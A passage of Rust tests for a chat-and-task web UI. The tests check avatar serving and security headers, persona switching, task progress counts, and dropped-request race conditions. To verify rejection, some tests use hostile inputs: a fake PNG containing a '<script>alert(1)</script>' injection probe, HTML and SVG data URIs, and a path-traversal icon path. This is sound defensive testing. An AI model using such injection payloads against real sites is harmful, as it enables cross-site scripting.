15191        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15192    }
15193
15194    #[tokio::test]
15195    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15196        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15197        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15198        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15199        let _ = magi_icon_put(
15200            State(ui.clone()),
15201            Json(MagiIconUpload { icon: icon.into() }),
15202        )
15203        .await
15204        .unwrap();
15205        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15206        assert_ne!(original, changed);
15207        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15208        let response = magi_avatar(
15209            State(ui.clone()),
15210            Query(AvatarQuery {
15211                persona: None,
15212                builtin: None,
15213            }),
15214        )
15215        .await;
15216        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15217        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15218        assert_eq!(
15219            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15220            "nosniff"
15221        );
15222        for bad in [
15223            "data:image/png;base64,PGh0bWw+".to_owned(),
15224            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15225            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15226        ] {
15227            assert!(save_magi_icon(home.path(), &bad).is_err());
15228            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15229        }
15230        // Re-opened server state reads the same independent home file.
15231        let restarted = Arc::new(Ui::new(
15232            Queue::at(home.path().join("queue")),
15233            Questions::at(home.path().join("questions")),
15234            Talks::at(home.path().join("talks")),
15235            home.path().join("runs"),
15236            home.path().to_path_buf(),
15237            repo,
15238        ));
15239        assert_eq!(
15240            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15241            changed
15242        );
15243        let view = TalkView::with_config(
15244            restarted.talks.get(&id).unwrap(),
15245            false,
15246            None,
15247            &restarted.home,
15248            &restarted.references,
15249        );
15250        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15251        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15252        let response = magi_avatar(
15253            State(ui.clone()),
15254            Query(AvatarQuery {
15255                persona: None,
15256                builtin: None,
15257            }),
15258        )
15259        .await;
15260        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15261            .await
15262            .unwrap();
15263        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15264        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15265        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15266        let _ = magi_icon_delete(State(ui)).await.unwrap();
15267    }
15268
15269    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15270    async fn avatar(
15271        ui: &Arc<Ui>,
15272        id: &str,
15273        persona: Option<&str>,
15274        builtin: bool,
15275    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15276        let res = talk_avatar(
15277            State(Arc::clone(ui)),
15278            Path(id.to_owned()),
15279            Query(AvatarQuery {
15280                persona: persona.map(str::to_owned),
15281                builtin: builtin.then(|| "1".to_owned()),
15282            }),
15283        )
15284        .await
15285        .expect("an avatar is never an error response");
15286        let h = res.headers();
15287        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15288        let nosniff = h
15289            .get(header::X_CONTENT_TYPE_OPTIONS)
15290            .is_some_and(|v| v == "nosniff");
15291        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15292        let status = res.status();
15293        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15294            .await
15295            .expect("body")
15296            .to_vec();
15297        (status, ct, nosniff, csp, body)
15298    }
15299
15300    fn tiny_png() -> Vec<u8> {
15301        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15302        b.extend_from_slice(&[0u8; 32]);
15303        b
15304    }
15305
15306    #[tokio::test]
15307    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15308        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15309        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15310        assert_eq!(res.status(), StatusCode::OK);
15311        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15312        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15313        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15314        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15315        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15316            .await
15317            .unwrap();
15318        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15319        assert_ne!(
15320            persona_icon::operator_svg(),
15321            persona_icon::builtin_svg("default")
15322        );
15323    }
15324
15325    #[tokio::test]
15326    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15327        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15328        for p in [
15329            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15330        ] {
15331            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15332            assert_eq!(status, StatusCode::OK, "{p}");
15333            assert_eq!(ct, "image/svg+xml", "{p}");
15334            assert!(nosniff && csp, "{p}");
15335            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15336        }
15337        // No `persona` means the conversation's own; unknown ones fall back.
15338        let own = avatar(&ui, &id, None, false).await;
15339        let default = avatar(&ui, &id, Some("default"), false).await;
15340        assert_eq!(own.4, default.4);
15341        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15342        assert_eq!(unknown.1, "image/svg+xml");
15343    }
15344
15345    #[tokio::test]
15346    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15347        let dir = TempDir::new().expect("icons");
15348        let good = dir.path().join("good.png");
15349        std::fs::write(&good, tiny_png()).unwrap();
15350        let spoof = dir.path().join("spoof.png");
15351        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15352        let big = dir.path().join("big.png");
15353        let mut bytes = tiny_png();
15354        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15355        std::fs::write(&big, bytes).unwrap();
15356        let missing = dir.path().join("missing.png");
15357        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15358        let extra = format!(
15359            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15360             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15361             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15362             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15363             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15364             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15365            uri(&good),
15366            uri(&spoof),
15367            uri(&big),
15368            uri(&missing),
15369        );
15370        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15371
15372        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15373        assert_eq!(
15374            (status, ct.as_str(), nosniff),
15375            (StatusCode::OK, "image/png", true)
15376        );
15377        assert_eq!(body, tiny_png());
15378        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15379        assert_eq!(ct, "image/png", "data URI");
15380
15381        for p in ["misato", "asuka", "shinji", "magi"] {
15382            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15383            assert_eq!(
15384                (status, ct.as_str(), csp),
15385                (StatusCode::OK, "image/svg+xml", true),
15386                "{p}"
15387            );
15388            assert!(body.starts_with(b"<svg"), "{p}");
15389        }
15390        // The page's own retry skips the icon.
15391        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15392        assert_eq!(ct, "image/svg+xml");
15393    }
15394
15395    #[tokio::test]
15396    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15397        let oversized = format!(
15398            "data:image/png;base64,{}",
15399            "A".repeat(persona_icon::ICON_MAX_BYTES)
15400        );
15401        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15402            let extra = format!(
15403                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15404            );
15405            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15406            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15407                .await
15408                .expect("detail with invalid icon");
15409            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15410            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15411            assert_eq!(status, StatusCode::OK);
15412            assert_eq!(ct, "image/svg+xml");
15413            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15414            let Json(view) = talk_persona(
15415                State(Arc::clone(&ui)),
15416                Path(id.clone()),
15417                Json(TalkPersona {
15418                    persona: "custom".into(),
15419                }),
15420            )
15421            .await
15422            .expect("persona switch with invalid icon");
15423            assert_eq!(view.talk.persona, "custom");
15424            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15425        }
15426    }
15427
15428    #[tokio::test]
15429    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15430        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15431        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15432        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15433        assert_eq!(
15434            (status, ct.as_str(), nosniff, csp),
15435            (StatusCode::OK, "image/svg+xml", true, true)
15436        );
15437    }
15438
15439    #[tokio::test]
15440    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15441        let (_t, _h, ui, id, _repo) =
15442            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15443        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15444            .await
15445            .expect("detail");
15446        let json = serde_json::to_string(&detail).unwrap();
15447        assert!(
15448            !json.contains("secret"),
15449            "the icon setting must not leak: {json}"
15450        );
15451        assert!(
15452            detail
15453                .view
15454                .persona_avatar
15455                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15456        );
15457        assert_eq!(
15458            detail.view.operator_avatar,
15459            format!(
15460                "/avatars/operator.svg?v={}",
15461                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15462            )
15463        );
15464        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15465        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15466        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15467        assert!(rei.avatar.contains("persona=rei&v="));
15468        assert_ne!(
15469            rei.avatar.split("&v=").nth(1),
15470            plain.avatar.split("&v=").nth(1)
15471        );
15472    }
15473
15474    #[tokio::test]
15475    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15476        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15477        let cfg = config_for(&repo).await.unwrap();
15478        for arrived in [false, true] {
15479            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15480            let observed = ui.queued_generation(&id);
15481            let talk = ui.talks.get(&id).unwrap();
15482            if arrived {
15483                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15484            }
15485            let mut settling = std::pin::pin!(settle_settings_turn(
15486                talk,
15487                ui.talks.clone(),
15488                cfg.clone(),
15489                id.clone(),
15490                turn,
15491                observed
15492            ));
15493            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15494            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15495            assert_eq!(first.is_pending(), arrived);
15496            if arrived {
15497                assert!(!settling.await);
15498            }
15499            assert!(!ui.is_thinking(&id));
15500        }
15501    }
15502
15503    #[tokio::test]
15504    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15505        let tmp = TempDir::new().expect("tempdir");
15506        let repo = tmp.path().join("repo");
15507        std::fs::create_dir_all(&repo).expect("repo dir");
15508        std::fs::write(
15509            repo.join("magi.toml"),
15510            format!(
15511                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15512            ),
15513        )
15514        .expect("write magi.toml");
15515        let home = TempDir::new().expect("temp home");
15516        let talks = Talks::at(home.path().join("talks"));
15517        let ui = Arc::new(
15518            Ui::new(
15519                Queue::at(home.path().join("queue")),
15520                Questions::at(home.path().join("questions")),
15521                talks.clone(),
15522                home.path().join("runs"),
15523                home.path().to_path_buf(),
15524                repo.clone(),
15525            )
15526            .with_worktrees_root(home.path().join("wt")),
15527        );
15528        let cfg = config_for(&repo).await.expect("discover config");
15529        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15530        let id = talk.id.clone();
15531        let call = |persona: &str| {
15532            talk_persona(
15533                State(Arc::clone(&ui)),
15534                Path(id.clone()),
15535                Json(TalkPersona {
15536                    persona: persona.to_owned(),
15537                }),
15538            )
15539        };
15540
15541        let unknown = call("nobody").await.expect_err("unknown persona");
15542        assert_eq!(
15543            unknown.status,
15544            StatusCode::BAD_REQUEST,
15545            "{}",
15546            unknown.message
15547        );
15548
15549        {
15550            // Nothing refused so far took a claim, so the guard is free to take
15551            // and holding it is what makes the talk busy.
15552            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15553            let busy = call("rei").await.expect_err("busy talk");
15554            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15555            assert!(
15556                busy.message.contains("a talk turn is running"),
15557                "{}",
15558                busy.message
15559            );
15560            drop(guard);
15561        }
15562        assert_eq!(talks.get(&id).expect("reload").persona, "");
15563
15564        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15565        assert_eq!(view.talk.persona, "gendo");
15566        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15567        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15568        // No intervening I/O or sleep may be needed before another change.
15569        for chosen in ["default", "gendo", "rei", "gendo"] {
15570            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15571            assert!(!view.thinking);
15572            assert!(!ui.is_thinking(&id));
15573        }
15574
15575        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15576            .await
15577            .expect("detail");
15578        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15579        assert_eq!(ids.first(), Some(&"default"));
15580        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15581
15582        let Json(view) = call("default").await.expect("back to default");
15583        assert_eq!(view.talk.persona, "");
15584
15585        let mut closed = talks.get(&id).expect("reload");
15586        talk::close(&mut closed, &talks).expect("close");
15587        let refused = call("rei").await.expect_err("closed talk");
15588        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15589        assert!(
15590            refused.message.contains("takes no more turns"),
15591            "{}",
15592            refused.message
15593        );
15594    }
15595
15596    #[tokio::test]
15597    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15598        let f = Fixture::start().await;
15599        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15600        let queue = f.queue();
15601        let mut mine = Task::new(
15602            "rename the loader".to_owned(),
15603            "rename the loader".to_owned(),
15604            PathBuf::from("/repo/magi"),
15605            Source::Agent {
15606                run: talk_id.clone(),
15607                node: "chat".to_owned(),
15608            },
15609        );
15610        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15611        assert_eq!(empty["task_progress"]["state"], "none");
15612        assert_eq!(empty["task_progress"]["total"], 0);
15613        queue.put(&mut mine).expect("file the task");
15614        let mut theirs = Task::new(
15615            "unrelated".to_owned(),
15616            "unrelated".to_owned(),
15617            PathBuf::from("/repo/magi"),
15618            Source::Human,
15619        );
15620        // A later task linked through origin_chat alone is outside this list.
15621        theirs.origin_chat = Some(talk_id.clone());
15622        queue.put(&mut theirs).expect("file the task");
15623
15624        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15625        assert_eq!(res.status, 200, "{}", res.body);
15626        let body = res.json();
15627        assert_eq!(
15628            body["status"], "open",
15629            "filing a task does not close a talk"
15630        );
15631        let tasks = body["tasks"].as_array().expect("tasks array");
15632        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15633        assert_eq!(tasks[0]["id"], mine.id);
15634        for status in [
15635            TaskStatus::Queued,
15636            TaskStatus::Running,
15637            TaskStatus::Held,
15638            TaskStatus::Failed,
15639            TaskStatus::Blocked,
15640            TaskStatus::Parked,
15641            TaskStatus::Done,
15642            TaskStatus::Queued,
15643        ] {
15644            mine.status = status;
15645            queue.put(&mut mine).expect("update status");
15646            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15647            let progress = &detail["task_progress"];
15648            assert_eq!(progress["total"], 1);
15649            assert_eq!(progress["counts"][status.as_str()], 1);
15650            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15651            assert_eq!(detail["status"], "open", "completion never closes the chat");
15652            if status == TaskStatus::Done {
15653                assert_eq!(progress["state"], "complete");
15654                assert_eq!(progress["done"], 1);
15655                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15656            } else {
15657                assert_eq!(progress["state"], "incomplete");
15658                assert_eq!(progress["done"], 0);
15659                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15660            }
15661        }
15662    }
15663
15664    #[test]
15665    fn talk_task_progress_counts_mixed_statuses() {
15666        let mut tasks: Vec<_> = [
15667            TaskStatus::Queued,
15668            TaskStatus::Running,
15669            TaskStatus::Held,
15670            TaskStatus::Failed,
15671            TaskStatus::Blocked,
15672            TaskStatus::Parked,
15673            TaskStatus::Done,
15674        ]
15675        .into_iter()
15676        .map(|status| {
15677            let mut task = Task::new(
15678                "task".into(),
15679                "task".into(),
15680                PathBuf::from("/repo"),
15681                Source::Human,
15682            );
15683            task.status = status;
15684            task
15685        })
15686        .collect();
15687        let progress = talk_task_progress(&tasks);
15688        assert_eq!(progress.state, "incomplete");
15689        assert_eq!(progress.total, 7);
15690        assert_eq!(progress.done, 1);
15691        assert_eq!(progress.unfinished_ids.len(), 6);
15692        assert!(progress.counts.values().all(|count| *count == 1));
15693        assert_eq!(
15694            progress.unfinished_ids,
15695            tasks[..6]
15696                .iter()
15697                .map(|task| task.id.clone())
15698                .collect::<Vec<_>>()
15699        );
15700
15701        for task in &mut tasks {
15702            task.status = TaskStatus::Done;
15703        }
15704        let complete = talk_task_progress(&tasks);
15705        assert_eq!(complete.state, "complete");
15706        assert_eq!(complete.done, 7);
15707        assert!(complete.unfinished_ids.is_empty());
15708        tasks[0].status = TaskStatus::Queued;
15709        let requeued = talk_task_progress(&tasks);
15710        assert_eq!(requeued.state, "incomplete");
15711        assert_eq!(requeued.done, 6);
15712        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15713
15714        let empty = talk_task_progress(&[]);
15715        assert_eq!(empty.state, "none");
15716        assert_eq!(empty.total, 0);
15717        assert_eq!(empty.done, 0);
15718        assert!(empty.unfinished_ids.is_empty());
15719        assert!(empty.counts.values().all(|count| *count == 0));
15720    }
15721
15722    #[tokio::test]
15723    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15724        let (_tmp, _repo, f) = talk_fixture().await;
15725        let id = f.post("/api/talks", None).await.json()["id"]
15726            .as_str()
15727            .expect("id")
15728            .to_owned();
15729
15730        let res = f
15731            .post(
15732                &format!("/api/talks/{id}/say"),
15733                Some(r#"{"text":"what does the queue module do?"}"#),
15734            )
15735            .await;
15736        assert_eq!(res.status, 202, "{}", res.body);
15737        let queued = res.json();
15738        let turns = queued["turns"].as_array().expect("turns array");
15739        assert_eq!(
15740            turns.len(),
15741            1,
15742            "the answer reflects only what is on disk the instant it is sent, \
15743             before the agent's turn - which can run for the whole of \
15744             `[graph] timeout_talk` - has a chance to land: {queued}"
15745        );
15746        assert_eq!(turns[0]["who"], "operator");
15747        assert_eq!(turns[0]["body"], "what does the queue module do?");
15748        assert_eq!(
15749            queued["thinking"], true,
15750            "the accepted response exposes the background turn claim: {queued}"
15751        );
15752
15753        let mut turns_after = 1;
15754        for _ in 0..SETTLE_STEPS {
15755            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15756            turns_after = detail["turns"].as_array().expect("turns array").len();
15757            if turns_after == 2 {
15758                break;
15759            }
15760            tokio::time::sleep(Duration::from_millis(10)).await;
15761        }
15762        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15763    }
15764
15765    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15766    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15767    /// guards against: `talk::record` used to return, and only *then* did the
15768    /// handler make a second, separate disk round trip before spawning the
15769    /// agent's reply task. A future dropped in that gap left a message
15770    /// recorded on disk with no reply task ever started and no way back short
15771    /// of a fresh message - and the gap was not even the whole story: *any*
15772    /// `.await` in this handler, including the very first one, is a point
15773    /// where a drop can land after the awaited work already finished but
15774    /// before this handler's own code resumes to act on it. `record` now
15775    /// runs inside the task `tokio::spawn` hands to the runtime before this
15776    /// handler ever awaits anything of its own again, so there is nothing
15777    /// left in *this* handler's future for a disconnect to interrupt between
15778    /// the message landing on disk and the reply task starting.
15779    ///
15780    /// A real socket disconnect cannot be relied on to land in the old gap
15781    /// from a test - over loopback, `talk_say` typically finishes before the
15782    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15783    /// same failure mode directly: it drops the task's future at whatever
15784    /// point it has reached, exactly what axum does to the handler future,
15785    /// without needing to win a real network race. Sweeping the delay before
15786    /// aborting samples a range of points the task's execution can be at,
15787    /// including where the old code sat waiting on its second disk round
15788    /// trip - confirmed by reverting this fix locally and watching this same
15789    /// sweep catch a talk stuck with the operator's turn recorded and no
15790    /// reply ever following.
15791    #[tokio::test]
15792    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15793        let tmp = TempDir::new().expect("tempdir");
15794        let repo = tmp.path().join("repo");
15795        std::fs::create_dir_all(&repo).expect("repo dir");
15796        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15797        let home = TempDir::new().expect("temp home");
15798        let talks = Talks::at(home.path().join("talks"));
15799        let ui = Arc::new(
15800            Ui::new(
15801                Queue::at(home.path().join("queue")),
15802                Questions::at(home.path().join("questions")),
15803                talks.clone(),
15804                home.path().join("runs"),
15805                home.path().to_path_buf(),
15806                repo.clone(),
15807            )
15808            .with_worktrees_root(home.path().join("wt")),
15809        );
15810        let cfg = config_for(&repo).await.expect("discover config");
15811
15812        for delay in 0..40u32 {
15813            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15814            let id = talk.id.clone();
15815
15816            let handler = tokio::spawn(talk_say(
15817                State(Arc::clone(&ui)),
15818                Path(id.clone()),
15819                Ok(Json(NewTalkTurn {
15820                    reply_to: None,
15821                    text: "what does the queue module do?".to_owned(),
15822                    attachments: Vec::new(),
15823                })),
15824            ));
15825            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15826            handler.abort();
15827            // Wait out the abort so the next iteration's talk does not race
15828            // this one's still-unwinding turn guard.
15829            let _ = handler.await;
15830
15831            let mut turns = 0;
15832            for _ in 0..SETTLE_STEPS {
15833                if let Ok(fresh) = talks.get(&id) {
15834                    turns = fresh.turns.len();
15835                    if turns != 1 {
15836                        break;
15837                    }
15838                }
15839                tokio::time::sleep(Duration::from_millis(10)).await;
15840            }
15841            assert_ne!(
15842                turns, 1,
15843                "delay {delay}: talk {id} recorded the operator's turn but \
15844                 the agent never answered - the reply task was never \
15845                 started after the handler future was dropped"
15846            );
15847        }
15848    }
15849
15850    /// The same drop, landing on `talk_say`'s other durable write.
15851    ///
15852    /// When a turn is already running, the busy branch persists the
15853    /// operator's text as a queued draft and then reclaims the turn slot if
15854    /// the holder gave it up in the meantime - and whoever reclaims owes that
15855    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15856    /// which finishes whether or not the future awaiting it is still there,
15857    /// so a handler dropped at that `.await` used to leave the draft written
15858    /// to disk with the reclaimed guard dropped unread and no drainer ever
15859    /// started: the message sat queued until some unrelated later `say`
15860    /// happened to pick it up.
15861    ///
15862    /// This used to drive the handler future by hand, polling it a fixed
15863    /// number of times to park it at the `.await` where it asks for the turn
15864    /// and finds it busy, before the reclaim's slot-free case could be set up
15865    /// underneath it. That assumed a fixed number of polls lands at a fixed
15866    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15867    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15868    /// poll, so any number of this handler's several `blocking` awaits can
15869    /// collapse into one poll under load, landing the drive somewhere other
15870    /// than intended - including, occasionally, straight past the handler's
15871    /// own completion, which made polling it again panic with "async fn
15872    /// resumed after completion". No poll count fixes that; the handler's
15873    /// progress simply is not something a caller outside it can observe by
15874    /// counting.
15875    ///
15876    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15877    /// inside the write itself, so the interleaving under test is pinned by
15878    /// an event instead of a guess: the gate fires only once the handler has
15879    /// actually decided `Busy` and is about to persist the draft, and it
15880    /// blocks that write until the test lets it through. Between those two
15881    /// moments the test drains the turn the handler found busy - through
15882    /// `drain_loop`, the protocol's other half - and then aborts the handler
15883    /// task outright, the same way axum drops a disconnected request's
15884    /// future. The write, and the reclaim it may do, run to completion
15885    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15886    /// to the runtime before ever touching the gate, wholly independent of
15887    /// whether the handler that started it is still around - which is what
15888    /// this test is actually checking. A drainer other than that reclaim
15889    /// cannot exist here: the test's own `drain_loop` call happens before the
15890    /// gate opens, so it runs while the queue is still empty and hands the
15891    /// turn straight back rather than draining anything, closing off the
15892    /// possibility of the final assertion passing without the reclaim ever
15893    /// having done its job.
15894    #[tokio::test]
15895    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15896        let tmp = TempDir::new().expect("tempdir");
15897        let repo = tmp.path().join("repo");
15898        std::fs::create_dir_all(&repo).expect("repo dir");
15899        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15900        let home = TempDir::new().expect("temp home");
15901        let talks = Talks::at(home.path().join("talks"));
15902        let ui = Arc::new(
15903            Ui::new(
15904                Queue::at(home.path().join("queue")),
15905                Questions::at(home.path().join("questions")),
15906                talks.clone(),
15907                home.path().join("runs"),
15908                home.path().to_path_buf(),
15909                repo.clone(),
15910            )
15911            .with_worktrees_root(home.path().join("wt")),
15912        );
15913        let cfg = config_for(&repo).await.expect("discover config");
15914
15915        for attempt in 0..3u32 {
15916            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15917            let id = talk.id.clone();
15918            // A turn is already running, which is what sends `talk_say` down
15919            // the busy branch.
15920            let turn_guard = ui
15921                .begin_talk_turn(&id)
15922                .expect("claim the turn")
15923                .expect("a fresh talk owes nobody a turn");
15924
15925            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15926            let (release_tx, release_rx) = std::sync::mpsc::channel();
15927            ui.set_busy_queue_gate(BusyQueueGate {
15928                reached: reached_tx,
15929                release: release_rx,
15930            });
15931
15932            let handler = tokio::spawn(talk_say(
15933                State(Arc::clone(&ui)),
15934                Path(id.clone()),
15935                Ok(Json(NewTalkTurn {
15936                    reply_to: None,
15937                    text: "what does the queue module do?".to_owned(),
15938                    attachments: Vec::new(),
15939                })),
15940            ));
15941
15942            // Wait for the busy branch to actually reach the gate, rather
15943            // than for any fixed number of polls of anything - a bounded
15944            // wait rather than a bare `.await` so a regression that never
15945            // reaches the gate fails the test instead of hanging it.
15946            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15947                .await
15948                .unwrap_or_else(|_| {
15949                    panic!(
15950                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15951                    )
15952                })
15953                .expect("the busy branch dropped the gate without using it");
15954            assert!(
15955                crate::chat_worker::try_publication_guard(&talks, &id)
15956                    .expect("publication fence")
15957                    .is_none(),
15958                "a queued worker cannot promote text before its successor reservation is published"
15959            );
15960
15961            // A listener replacement queues its writer behind this accepted
15962            // mutation. Even disconnecting the HTTP caller must not release
15963            // admission before the write-to-worker handoff has completed.
15964            let closing = Arc::clone(&ui.admissions).write_owned();
15965            tokio::pin!(closing);
15966            std::future::poll_fn(|cx| {
15967                assert!(closing.as_mut().poll(cx).is_pending());
15968                std::task::Poll::Ready(())
15969            })
15970            .await;
15971            assert!(
15972                ui.begin_admission().is_err(),
15973                "replacement blocks later admissions"
15974            );
15975
15976            // The turn that was running now finishes and gives the slot up
15977            // the way a real one does - through `drain_loop`, which finds
15978            // nothing queued yet (the write is still held at the gate) and
15979            // releases. The handler, parked inside `spawn_blocking` on the
15980            // other side of the gate, still believes the talk is busy -
15981            // exactly the interleaving the reclaim exists for.
15982            let running = talks.get(&id).expect("reload talk");
15983            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15984
15985            // Drop the handler future now, the way a reloading phone drops
15986            // it: suspended waiting on the busy branch's answer, having
15987            // itself made no more progress since it handed the write off.
15988            handler.abort();
15989            let _ = handler.await;
15990            std::future::poll_fn(|cx| {
15991                assert!(
15992                    closing.as_mut().poll(cx).is_pending(),
15993                    "HTTP cancellation must not abandon a publishing transaction"
15994                );
15995                std::task::Poll::Ready(())
15996            })
15997            .await;
15998            assert!(
15999                crate::chat_worker::try_publication_guard(&talks, &id)
